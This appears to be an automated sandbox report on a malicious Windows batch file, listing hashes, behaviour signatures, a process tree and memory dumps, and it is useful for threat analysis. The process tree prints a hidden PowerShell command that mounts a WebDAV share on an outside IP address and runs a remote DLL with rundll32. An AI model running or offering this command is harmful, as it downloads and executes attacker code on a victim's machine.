Analysis

  • max time kernel
    107s
  • max time network
    18s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    14/07/2024, 02:22

General

  • Target

    17263257632860332454.bat

  • Size

    2KB

  • MD5

    3086b950cedbb150786fd3aaf21c5afd

  • SHA1

    782e981b35c51587c4e5b98584b5f789d3879e0c

  • SHA256

    e4234be5b3e79fe0f39a7beceebe84acc5ca87ab3499099ddb2fe4b386f5cd8d

  • SHA512

    aecc7ef848c7f85c7f67fcf20ad8973a17927c268dfcf347ff2af5cbecd23f20e65f1846b5de4e4c55d78493a1141ded3c79dbd6c042493974cb631362d68030

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\17263257632860332454.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2780
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1645.dll,entry
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
        3⤵
          PID:2896
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1645.dll entry
          3⤵
            PID:484

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2780-17-0x0000000001ED0000-0x0000000001FD0000-memory.dmp

        Filesize

        1024KB

      • memory/2780-16-0x0000000001ED0000-0x0000000001FD0000-memory.dmp

        Filesize

        1024KB

      • memory/2956-22-0x000000001B1A0000-0x000000001B482000-memory.dmp

        Filesize

        2.9MB

      • memory/2956-23-0x00000000025A0000-0x00000000025A8000-memory.dmp

        Filesize

        32KB